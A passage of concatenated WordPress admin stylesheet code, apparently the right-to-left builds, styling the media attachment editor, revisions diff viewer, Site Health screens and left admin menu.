solid #dcdcde;background:#f6f7f7}.edit-attachment-frame .attachment-info .details,.edit-attachment-frame .attachment-info .settings{position:relative;overflow:hidden;float:none;margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dcdcde}.edit-attachment-frame .attachment-info .filename{font-weight:400;color:#646970}.edit-attachment-frame .attachment-info .thumbnail{margin-bottom:12px}.attachment-info .actions{margin-bottom:16px}.attachment-info .actions a{display:inline;text-decoration:none}.copy-to-clipboard-container{display:flex;align-items:center;margin-top:8px;clear:both}.copy-to-clipboard-container .copy-attachment-url{white-space:normal}.copy-to-clipboard-container .success{color:#007017;margin-right:8px}.wp_attachment_details .attachment-alt-text{margin-bottom:5px}.wp_attachment_details #attachment_alt{max-width:500px;height:3.28571428em}.wp_attachment_details .attachment-alt-text-description{margin-top:5px}.wp_attachment_details label[for=content]{font-size:13px;line-height:1.5;margin:1em 0}.wp_attachment_details #attachment_caption{height:4em}.describe .image-editor{vertical-align:top}.imgedit-wrap{position:relative;padding-top:10px}.image-editor fieldset,.image-editor p{margin:8px 0}.image-editor legend{margin-bottom:5px}.describe .imgedit-wrap .image-editor{padding:0 5px}.wp_attachment_holder div.updated{margin-top:0}.wp_attachment_holder .imgedit-wrap>div{height:auto}.imgedit-panel-content{display:flex;flex-wrap:wrap;gap:20px;margin-bottom:20px}.imgedit-settings{max-width:400px}.imgedit-group-controls>*{display:none}.imgedit-panel-active .imgedit-group-controls>*{display:block}.wp_attachment_holder .imgedit-wrap .image-editor{float:left;width:250px}.image-editor input{margin-top:0;vertical-align:middle}.imgedit-wait{position:absolute;top:0;bottom:0;width:100%;background:#fff;opacity:.7;display:none}.imgedit-wait:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;margin:-10px -10px 0 0;background:transparent url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}.no-float{float:none}.image-editor .disabled,.media-disabled{color:#a7aaad}.A1B1{overflow:hidden}.A1B1 .button,.wp_attachment_image .button{float:right}.no-js .wp_attachment_image .button{display:none}.A1B1 .spinner,.wp_attachment_image .spinner{float:right}.imgedit-menu .note-no-rotate{clear:both;margin:0;padding:1em 0 0}.image-editor .imgedit-menu .button{display:inline-block;width:auto;min-height:28px;font-size:13px;line-height:2;padding:0 10px}.imgedit-menu .button:after,.imgedit-menu .button:before{font:normal 16px/1 dashicons;margin-left:8px;speak:never;vertical-align:middle;position:relative;top:-2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.imgedit-menu .imgedit-rotate.button:after{content:'\f140';margin-right:2px;margin-left:0}.imgedit-menu .imgedit-rotate.button[aria-expanded=true]:after{content:'\f142'}.imgedit-menu .button.disabled{color:#a7aaad;border-color:#dcdcde;background:#f6f7f7;box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.imgedit-crop:before{content:"\f165"}.imgedit-scale:before{content:"\f211"}.imgedit-rotate:before{content:"\f167"}.imgedit-undo:before{content:"\f171"}.imgedit-redo:before{content:"\f172"}.imgedit-crop-wrap{position:relative}.imgedit-crop-wrap img{background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.imgedit-crop-wrap{padding:20px;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.imgedit-crop{margin:0 0 0 8px}.imgedit-rotate{margin:0 3px 0 8px}.imgedit-undo{margin:0 3px}.imgedit-redo{margin:0 3px 0 8px}.imgedit-thumbnail-preview-group{display:flex;flex-wrap:wrap;column-gap:10px}.imgedit-thumbnail-preview{margin:10px 0 0 8px}.imgedit-thumbnail-preview-caption{display:block}#poststuff .imgedit-group-top h2{display:inline-block;margin:0;padding:0;font-size:14px;line-height:1.4}#poststuff .imgedit-group-top .button-link{text-decoration:none;color:#1d2327}.imgedit-applyto .imgedit-label{display:block;padding:.5em 0 0}.imgedit-help,.imgedit-popup-menu{display:none;padding-bottom:8px}.imgedit-panel-tools>.imgedit-menu{display:flex;column-gap:4px;align-items:flex-start;flex-wrap:wrap}.imgedit-popup-menu{width:calc(100% - 20px);position:absolute;background:#fff;padding:10px;box-shadow:0 3px 6px rgba(0,0,0,.3)}.image-editor .imgedit-menu .imgedit-popup-menu button{display:block;margin:2px 0;width:100%;white-space:break-spaces;line-height:1.5;padding-top:3px;padding-bottom:2px}.imgedit-rotate-menu-container{position:relative}.imgedit-help.imgedit-restore{padding-bottom:0}.image-editor .imgedit-settings .imgedit-help-toggle,.image-editor .imgedit-settings .imgedit-help-toggle:active,.image-editor .imgedit-settings .imgedit-help-toggle:hover{border:1px solid transparent;margin:-1px -1px 0 0;padding:0;background:0 0;color:#2271b1;font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.image-editor .imgedit-settings .imgedit-help-toggle:focus{color:#2271b1;border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.form-table td.imgedit-response{padding:0}.imgedit-submit-btn{margin-right:20px}.imgedit-wrap .nowrap{white-space:nowrap;font-size:12px;line-height:inherit}span.imgedit-scale-warn{display:flex;align-items:center;margin:4px;gap:4px;color:#b32d2e;font-style:normal;visibility:hidden;vertical-align:middle}.imgedit-save-target{margin:8px 0}.imgedit-save-target legend{font-weight:600}.imgedit-group{margin-bottom:20px}.image-editor .imgedit-original-dimensions{display:inline-block}.image-editor .imgedit-crop-ratio input[type=number],.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=number],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale-controls input[type=number],.image-editor .imgedit-scale-controls input[type=text]{width:80px;font-size:14px;padding:0 8px}.imgedit-separator{display:inline-block;width:7px;text-align:center;font-size:13px;color:#3c434a}.image-editor .imgedit-scale-button-wrapper{margin-top:.3077em;display:block}.image-editor .imgedit-scale-controls .button{margin-bottom:0}audio,video{display:inline-block;max-width:100%}.wp-core-ui .mejs-container{width:100%;max-width:100%}.wp-core-ui .mejs-container *{box-sizing:border-box}.wp-core-ui .mejs-time{box-sizing:content-box}@media print,(min-resolution:120dpi){.imgedit-wait:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.edit-attachment-frame input,.edit-attachment-frame textarea{line-height:1.5}.wp_attachment_details label[for=content]{font-size:14px;line-height:1.5}.wp_attachment_details textarea{line-height:1.5}.wp_attachment_details #attachment_alt{height:3.375em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{font-size:13px;line-height:1.5}.media-upload-form .media-item.error{padding:1px 10px}.media-upload-form .media-item .error{padding:10px 12px 10px 0}.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale input[type=text]{font-size:16px;padding:6px 10px}.wp_attachment_holder .imgedit-wrap .image-editor,.wp_attachment_holder .imgedit-wrap .imgedit-panel-content{float:none;width:auto;max-width:none;padding-bottom:16px}.copy-to-clipboard-container .success{font-size:14px}.imgedit-crop-wrap img{width:100%}.media-modal .imgedit-wrap .image-editor,.media-modal .imgedit-wrap .imgedit-panel-content{position:initial!important}.media-modal .imgedit-wrap .image-editor{box-sizing:border-box;width:100%!important}.image-editor .imgedit-scale-button-wrapper{display:inline-block}}@media only screen and (max-width:600px){.media-item-wrapper{grid-template-columns:1fr}}@media only screen and (max-width:1120px){#wp-media-grid .wp-filter .attachment-filters{max-width:100%}}@media only screen and (max-width:1000px){.wp-filter p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}}@media only screen and (max-width:782px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:46px;left:10px}}@media only screen and (max-width:600px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:0}}@media only screen and (max-width:480px){.edit-attachment-frame .media-frame-title{left:110px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{width:40px;height:40px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{line-height:40px!important}.edit-attachment-frame .edit-media-header .left{left:82px}.edit-attachment-frame .edit-media-header .right{left:41px}.edit-attachment-frame .media-frame-content{top:40px}.edit-attachment-frame .attachment-media-view{float:none;height:auto;width:100%}.edit-attachment-frame .attachment-info{height:auto;width:100%}}@media only screen and (max-width:640px),screen and (max-height:400px){.upload-php .mode-grid .media-sidebar{max-width:100%}}/*! This file is auto-generated */
.revisions-control-frame,.revisions-diff-frame{position:relative}.revisions-diff-frame{top:10px}.revisions-controls{padding-top:40px;z-index:1}.revisions-controls input[type=checkbox]{position:relative;top:-1px;vertical-align:text-bottom}.revisions.pinned .revisions-controls{position:fixed;top:0;height:82px;background:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-tickmarks{position:relative;margin:0 auto;height:.7em;top:7px;max-width:70%;box-sizing:border-box;background-color:#fff}.revisions-tickmarks>div{position:absolute;height:100%;border-right:1px solid #a7aaad;box-sizing:border-box}.revisions-tickmarks>div:first-child{border-width:0}.comparing-two-revisions .revisions-controls{height:140px}.comparing-two-revisions.pinned .revisions-controls{height:124px}.revisions .diff-error{position:absolute;text-align:center;margin:0 auto;width:100%;display:none}.revisions.diff-error .diff-error{display:block}.revisions .loading-indicator{position:absolute;vertical-align:middle;opacity:0;width:100%;width:calc(100% - 30px);top:50%;top:calc(50% - 10px);transition:opacity .5s}body.folded .revisions .loading-indicator{margin-right:-32px}.revisions .loading-indicator span.spinner{display:block;margin:0 auto;float:none}.revisions.loading .loading-indicator{opacity:1}.revisions .diff{transition:opacity .5s}.revisions.loading .diff{opacity:.5}.revisions.diff-error .diff{visibility:hidden}.revisions-meta{margin-top:20px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1);overflow:hidden}.revisions.pinned .revisions-meta{box-shadow:none}.revision-toggle-compare-mode{position:absolute;top:0;left:0}.comparing-two-revisions .revisions-next,.comparing-two-revisions .revisions-previous,.revisions-meta .diff-meta-to strong{display:none}.revisions-controls .author-card .date{color:#646970}.revisions-controls .author-card.autosave{color:#d63638}.revisions-controls .author-card .author-name{font-weight:600}.comparing-two-revisions .diff-meta-to strong{display:block}.revisions.pinned .revisions-buttons{padding:0 11px}.revisions-next,.revisions-previous{position:relative;z-index:1}.revisions-previous{float:right}.revisions-next{float:left}.revisions-controls .wp-slider{max-width:70%;margin:0 auto;top:-3px}.revisions-diff{padding:15px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-diff h3:first-child{margin-top:0}#revisions-meta-restored img,.post-revisions li img{vertical-align:middle}table.diff{table-layout:fixed;width:100%;white-space:pre-wrap}table.diff col.content{width:auto}table.diff col.content.diffsplit{width:48%}table.diff col.diffsplit.middle{width:auto}table.diff col.ltype{width:30px}table.diff tr{background-color:transparent}table.diff td,table.diff th{font-family:Consolas,Monaco,monospace;font-size:14px;line-height:1.57142857;padding:.5em 2em .5em .5em;vertical-align:top;word-wrap:break-word}table.diff td h1,table.diff td h2,table.diff td h3,table.diff td h4,table.diff td h5,table.diff td h6{margin:0}table.diff .diff-addedline ins,table.diff .diff-deletedline del{text-decoration:none}table.diff .diff-deletedline{position:relative;background-color:#fcf0f1}table.diff .diff-deletedline del{background-color:#ffabaf}table.diff .diff-addedline{position:relative;background-color:#edfaef}table.diff .diff-addedline .dashicons,table.diff .diff-deletedline .dashicons{position:absolute;top:.85714286em;right:.5em;width:1em;height:1em;font-size:1em;line-height:1}table.diff .diff-addedline .dashicons{top:.92857143em}table.diff .diff-addedline ins{background-color:#68de7c}.diff-meta{padding:5px;clear:both;min-height:32px}.diff-title strong{line-height:2.46153846;min-width:60px;text-align:left;float:right;margin-left:5px}.revisions-controls .author-card .author-info{font-size:12px;line-height:1.33333333}.revisions-controls .author-card .author-info,.revisions-controls .author-card .avatar{float:right;margin-right:6px;margin-left:6px}.revisions-controls .author-card .byline{display:block;font-size:12px}.revisions-controls .author-card .avatar{vertical-align:middle}.diff-meta input.restore-revision{float:left;margin-right:6px;margin-left:6px;margin-top:2px}.diff-meta-from{display:none}.comparing-two-revisions .diff-meta-from{display:block}.revisions-tooltip{position:absolute;bottom:105px;margin-left:0;margin-right:-69px;z-index:0;max-width:350px;min-width:130px;padding:8px 4px;display:none;opacity:0}.revisions-tooltip.flipped{margin-right:0;margin-left:-70px}.revisions.pinned .revisions-tooltip{display:none!important}.comparing-two-revisions .revisions-tooltip{bottom:145px}.revisions-tooltip-arrow{width:70px;height:15px;overflow:hidden;position:absolute;right:0;margin-right:35px;bottom:-15px}.revisions-tooltip.flipped .revisions-tooltip-arrow{margin-right:0;margin-left:35px;right:auto;left:0}.revisions-tooltip-arrow>span{content:"";position:absolute;right:20px;top:-20px;width:25px;height:25px;transform:rotate(-45deg)}.revisions-tooltip.flipped .revisions-tooltip-arrow>span{right:auto;left:20px}.revisions-tooltip,.revisions-tooltip-arrow>span{border:1px solid #dcdcde;background-color:#fff}.revisions-tooltip{display:none}.arrow{width:70px;height:16px;overflow:hidden;position:absolute;right:0;margin-right:-35px;bottom:90px;z-index:10000}.arrow:after{z-index:9999;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.arrow.top{top:-16px;bottom:auto}.arrow.left{right:20%}.arrow:after{content:"";position:absolute;right:20px;top:-20px;width:25px;height:25px;transform:rotate(-45deg)}.revisions-tooltip,.revisions-tooltip-arrow:after{border-width:1px;border-style:solid}div.revisions-controls>.wp-slider>.ui-slider-handle{margin-right:-10px}.rtl div.revisions-controls>.wp-slider>.ui-slider-handle{margin-left:-10px}.wp-slider.ui-slider{position:relative;border:1px solid #dcdcde;text-align:right;cursor:pointer}.wp-slider .ui-slider-handle{border-radius:50%;height:18px;margin-top:-5px;outline:0;padding:2px;position:absolute;width:18px;z-index:2;touch-action:none}.wp-slider .ui-slider-handle,.wp-slider .ui-slider-handle.focus{background:#f6f7f7;border:1px solid #c3c4c7;box-shadow:0 1px 0 #c3c4c7}.wp-slider .ui-slider-handle.ui-state-hover,.wp-slider .ui-slider-handle:hover{background:#f6f7f7;border-color:#8c8f94}.wp-slider .ui-slider-handle.ui-state-active,.wp-slider .ui-slider-handle:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.wp-slider .ui-slider-handle:before{background:0 0;position:absolute;top:2px;right:2px;color:#50575e;content:"\f229";font:normal 18px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-slider .ui-slider-handle.ui-state-hover:before,.wp-slider .ui-slider-handle:hover:before{color:#1d2327}.wp-slider .ui-slider-handle.from-handle:before,.wp-slider .ui-slider-handle.to-handle:before{font-size:20px!important;margin:-1px -1px 0 0}.wp-slider .ui-slider-handle.from-handle:before{content:"\f141"}.wp-slider .ui-slider-handle.to-handle:before{content:"\f139"}.rtl .wp-slider .ui-slider-handle.from-handle:before{content:"\f139"}.rtl .wp-slider .ui-slider-handle.to-handle:before{content:"\f141";left:-1px}.wp-slider .ui-slider-range{position:absolute;font-size:.7em;display:block;border:0;background-color:transparent;background-image:none}.wp-slider.ui-slider-horizontal{height:.7em}.wp-slider.ui-slider-horizontal .ui-slider-handle{top:-.25em;margin-right:-.6em}.wp-slider.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.wp-slider.ui-slider-horizontal .ui-slider-range-min{right:0}.wp-slider.ui-slider-horizontal .ui-slider-range-max{left:0}@media print,(min-resolution:120dpi){.revision-tick.completed-false{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){#diff-next-revision,#diff-previous-revision{margin-top:-1em}.revisions-buttons{overflow:hidden;margin-bottom:15px}.comparing-two-revisions .revisions-controls,.revisions-controls{height:170px}.revisions-tooltip{bottom:130px;z-index:2}.diff-meta{overflow:hidden}table.diff{-ms-word-break:break-all;word-break:break-all;word-wrap:break-word}.diff-meta input.restore-revision{margin-top:0}}/*! This file is auto-generated */
.health-check-body h2{line-height:1.4}.health-check-body h3{padding:0;font-weight:400}.site-health-progress-wrapper{margin-bottom:1rem}.site-health-progress{display:inline-block;height:20px;width:20px;margin:0;border-radius:100%;position:relative;font-weight:600;font-size:.4rem}.site-health-progress-count{position:absolute;display:block;height:80px;width:80px;left:50%;top:50%;margin-top:-40px;margin-left:-40px;border-radius:100%;line-height:6.3;font-size:2em}.loading .site-health-progress svg #bar{stroke-dashoffset:0;stroke:#c3c4c7;animation:loadingPulse 3s infinite ease-in-out}.site-health-progress svg circle{stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;stroke:#c3c4c7;stroke-width:2em}.site-health-progress svg #bar{stroke-dashoffset:565;stroke:#d63638}.green .site-health-progress #bar{stroke:#00a32a}.green .site-health-progress .site-health-progress-label{color:#00a32a}.orange .site-health-progress #bar{stroke:#dba617}.orange .site-health-progress .site-health-progress-label{color:#dba617}.site-health-progress-label{font-weight:600;line-height:20px;margin-left:.3rem}@keyframes loadingPulse{0%{stroke:#c3c4c7}50%{stroke:#72aee6}100%{stroke:#c3c4c7}}.health-check-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr 1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr 1fr 1fr}.health-check-tabs-wrapper.tab-count-1{grid-template-columns:1fr}.health-check-tabs-wrapper.tab-count-2{grid-template-columns:1fr 1fr}.health-check-tabs-wrapper.tab-count-3{grid-template-columns:1fr 1fr 1fr}.health-check-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-offscreen-nav-wrapper{position:relative;background:0 0;border:none}.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav{left:initial}.health-check-offscreen-nav{display:none;position:absolute;padding-top:10px;right:0;top:100%;width:13rem}.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav{display:inline-block}.health-check-offscreen-nav:before{position:absolute;content:"";width:0;height:0;border-style:solid;border-width:0 10px 5px;border-color:transparent transparent #fff;right:20px;top:5px}.health-check-offscreen-nav .health-check-tab{background:#fff;box-shadow:0 2px 5px 0 rgba(0,0,0,.75)}.health-check-offscreen-nav .health-check-tab.active{box-shadow:inset 3px 0 #3582c4;font-weight:600}.health-check-body{max-width:800px;margin:0 auto}.health-check-table td:first-child{width:30%}.health-check-table td{width:70%}.health-check-table ol,.health-check-table ul{margin:0}.health-check-body li{line-height:1.5}.health-check-body .good::before,.health-check-body .pass::before{content:"\f147";color:#00a32a}.health-check-body .warning::before{content:"\f460";color:#dba617}.health-check-body .info::before{content:"\f348";color:#72aee6}.health-check-body .error::before,.health-check-body .fail::before{content:"\f335";color:#d63638}.site-health-copy-buttons{margin:1rem 0}.site-health-copy-buttons .copy-button-wrapper{display:inline-flex;align-items:center;margin:.5rem 0 1rem}.site-health-copy-buttons .success{color:#007017;margin-left:.5rem}.site-status-has-issues.hide{display:none}.site-health-view-more{text-align:center}.site-health-issues-wrapper:first-of-type{margin-top:3rem}.site-health-issues-wrapper{margin-bottom:3rem;margin-top:2rem}.site-status-all-clear{display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;height:100%;width:100%;margin:0 0 3rem}@media all and (min-width:784px){.site-status-all-clear{margin:2rem 0 5rem}}.site-status-all-clear.hide{display:none}.site-status-all-clear .dashicons{font-size:150px;height:150px;margin-bottom:2rem;width:150px}.site-status-all-clear .encouragement{font-size:1.5rem;font-weight:600}.site-status-all-clear p{margin:0}.wp-core-ui .button.site-health-view-passed{position:relative;padding-right:40px;padding-left:20px}.health-check-wp-paths-sizes.spinner{visibility:visible;float:none;margin:0 4px;flex-shrink:0}#dashboard_site_health .site-health-details{padding-left:16px}#dashboard_site_health .site-health-details p:first-child{margin-top:0}#dashboard_site_health .site-health-details p:last-child{margin-bottom:0}#dashboard_site_health .health-check-widget{display:grid;grid-template-columns:1fr 2fr;grid-auto-rows:minmax(64px,auto);column-gap:16px;align-items:center}#dashboard_site_health .site-health-progress-label{margin-left:0}.health-check-widget-title-section{margin-bottom:0;text-align:center}@media screen and (max-width:480px){#dashboard_site_health .health-check-widget{grid-template-columns:100%}}@media screen and (max-width:782px){.site-health-issues-wrapper .health-check-accordion-trigger{flex-direction:column;align-items:flex-start}.health-check-accordion-trigger .badge{margin:1em 0 0}.health-check-table{table-layout:fixed}.health-check-table td{box-sizing:border-box;display:block;width:100%;word-wrap:break-word}.health-check-table td:first-child{width:100%;padding-bottom:0;font-weight:600}.wp-core-ui .site-health-copy-buttons .copy-button{margin-bottom:0}}/*! This file is auto-generated */
#adminmenuback,
#adminmenuwrap,
#adminmenu,
#adminmenu .wp-submenu {
	width: 160px;
	background-color: #1d2327;
}

#adminmenuback {
	position: fixed;
	top: 0;
	bottom: -120px;
	z-index: 1; /* positive z-index to avoid elastic scrolling woes in Safari */
}

.php-error #adminmenuback {
	position: absolute;
}

.php-error #adminmenuback,
.php-error #adminmenuwrap {
	margin-top: 2em;
}

#adminmenu {
	clear: right;
	margin: 12px 0;
	padding: 0;
	list-style: none;
}

.folded #adminmenuback,
.folded #adminmenuwrap,
.folded #adminmenu,
.folded #adminmenu li.menu-top {
	width: 36px;
}

/* New Menu icons */

/* hide background-image for icons above */
.menu-icon-dashboard div.wp-menu-image,
.menu-icon-post div.wp-menu-image,
.menu-icon-media div.wp-menu-image,
.menu-icon-links div.wp-menu-image,
.menu-icon-page div.wp-menu-image,
.menu-icon-comments div.wp-menu-image,
.menu-icon-appearance div.wp-menu-image,
.menu-icon-plugins div.wp-menu-image,
.menu-icon-users div.wp-menu-image,
.menu-icon-tools div.wp-menu-image,
.menu-icon-settings div.wp-menu-image,
.menu-icon-site div.wp-menu-image,
.menu-icon-generic div.wp-menu-image {
	background-image: none !important;
}

/*------------------------------------------------------------------------------
  7.0 - Main Navigation (Left Menu)
------------------------------------------------------------------------------*/

#adminmenuwrap {
	position: relative;
	float: right;
	z-index: 9990;
}

/* side admin menu */
#adminmenu * {
	-webkit-user-select: none;
	user-select: none;
}

#adminmenu li {
	margin: 0;
	padding: 0;
}

#adminmenu a {
	display: block;
	line-height: 1.3;
	padding: 2px 5px;
	color: #f0f0f1;
}

#adminmenu .wp-submenu a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
	font-size: 13px;
	line-height: 1.4;
	margin: 0;
	padding: 5px 0;
}

#adminmenu .wp-submenu a:hover,
#adminmenu .wp-submenu a:focus {
	background: none;
}

#adminmenu a:hover,
#adminmenu li.menu-top > a:focus,
#adminmenu .wp-submenu a:hover,
#adminmenu .wp-submenu a:focus {
	color: #72aee6;
}

#adminmenu a:hover,
#adminmenu a:focus,
.folded #adminmenu .wp-submenu-head:hover {
	box-shadow: inset -4px 0 0 0 currentColor;
	transition: box-shadow .1s linear;
}

#adminmenu li.menu-top {
	border: none;
	min-height: 34px;
	position: relative;
}

#adminmenu .wp-submenu {
	list-style: none;
	position: absolute;
	top: -1000em;
	right: 160px;
	overflow: visible;
	word-wrap: break-word;
	padding: 7px 0 8px;
	z-index: 9999;
	background-color: #2c3338;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.js #adminmenu .sub-open,
.js #adminmenu .opensub .wp-submenu,
#adminmenu a.menu-top:focus + .wp-submenu,
.no-js li.wp-has-submenu:hover .wp-submenu {
	top: -1px;
}

#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
	top: 0;
}

#adminmenu .wp-has-current-submenu .wp-submenu,
.no-js li.wp-has-current-submenu:hover .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu {
	position: relative;
	z-index: 3;
	top: auto;
	right: auto;
	left: auto;
	bottom: auto;
	border: 0 none;
	margin-top: 0;
	box-shadow: none;
}

.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

/* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
	position: relative;
	background-color: #1d2327;
	color: #72aee6;
}

.folded #adminmenu li.menu-top:hover,
.folded #adminmenu li.opensub > a.menu-top,
.folded #adminmenu li > a.menu-top:focus {
	z-index: 10000;
}

#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.current a.menu-top,
#adminmenu .wp-menu-arrow,
#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,
#adminmenu .wp-menu-arrow div {
	background: #2271b1;
	color: #fff;
}

.folded #adminmenu .wp-submenu.sub-open,
.folded #adminmenu .opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu a.menu-top:focus + .wp-submenu,
.folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu,
.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu {
	top: 0;
	right: 36px;
}

.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	position: absolute;
	top: -1000em;
}

#adminmenu .wp-not-current-submenu .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu {
	min-width: 160px;
	width: auto;
	border-right: 5px solid transparent;
}

#adminmenu .wp-submenu li.current,
#adminmenu .wp-submenu li.current a,
#adminmenu .opensub .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-submenu li.current a:hover,
#adminmenu .wp-submenu li.current a:focus {
	color: #fff;
}

#adminmenu .wp-not-current-submenu li > a,
.folded #adminmenu .wp-has-current-submenu li > a {
	padding-left: 16px;
	padding-right: 14px;
	/* Exclude from the transition the outline for Windows High Contrast mode */
	transition: all .1s ease-in-out, outline 0s;
}

#adminmenu .wp-has-current-submenu ul > li > a,
.folded #adminmenu li.menu-top .wp-submenu > li > a {
	padding: 5px 12px;
}

#adminmenu a.menu-top,
#adminmenu .wp-submenu-head {
	font-size: 14px;
	font-weight: 400;
	line-height: 1.3;
	padding: 0;
}

#adminmenu .wp-submenu-head {
	display: none;
}

.folded #adminmenu .wp-menu-name {
	position: absolute;
	right: -999px;
}

.folded #adminmenu .wp-submenu-head {
	display: block;
}

#adminmenu .wp-submenu li {
	padding: 0;
	margin: 0;
}

#adminmenu .wp-menu-image img {
	padding: 9px 0 0;
	opacity: 0.6;
	filter: alpha(opacity=60);
}

#adminmenu div.wp-menu-name {
	padding: 8px 36px 8px 8px;
	overflow-wrap: break-word;
	word-wrap: break-word;
	-ms-word-break: break-all;
	word-break: break-word;
	-webkit-hyphens: auto;
	hyphens: auto;
}

#adminmenu div.wp-menu-image {
	float: right;
	width: 36px;
	height: 34px;
	margin: 0;
	text-align: center;
}

#adminmenu div.wp-menu-image.svg {
	background-repeat: no-repeat;
	background-position: center;
	background-size: 20px auto;
}

div.wp-menu-image:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
	padding: 7px 0;
	transition: all .1s ease-in-out;
}

#adminmenu div.wp-menu-image:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before,
#adminmenu .wp-has-current-submenu div.wp-menu-image:before,
#adminmenu .current div.wp-menu-image:before,
#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before {
	color: #fff;
}

#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
	color: #72aee6;
}

.folded #adminmenu div.wp-menu-image {
	width: 35px;
	height: 30px;
	position: absolute;
	z-index: 25;
}

.folded #adminmenu a.menu-top {
	height: 34px;
}

/* Sticky admin menu */
.sticky-menu #adminmenuwrap {
	position: fixed;
}

/* A new arrow */

.wp-menu-arrow {
	display: none !important;
}

ul#adminmenu a.wp-has-current-submenu {
	position: relative;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
	left: 0;
	border: solid 8px transparent;
	content: " ";
	height: 0;
	width: 0;
	position: absolute;
	pointer-events: none;
	border-left-color: #f0f0f1;
	top: 50%;
	margin-top: -8px;
}

.folded ul#adminmenu li:hover a.wp-has-current-submenu:after,
.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after {
	display: none;
}

.folded ul#adminmenu a.wp-has-current-submenu:after,
.folded ul#adminmenu > li a.current:after {
	border-width: 4px;
	margin-top: -4px;
}

/* flyout menu arrow */
#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	left: 0;
	border: 8px solid transparent;
	content: " ";
	height: 0;
	width: 0;
	position: absolute;
	pointer-events: none;
	top: 10px;
	z-index: 10000;
}

.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after,
.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
	border-width: 4px;
	margin-top: -4px;
	top: 18px;
}

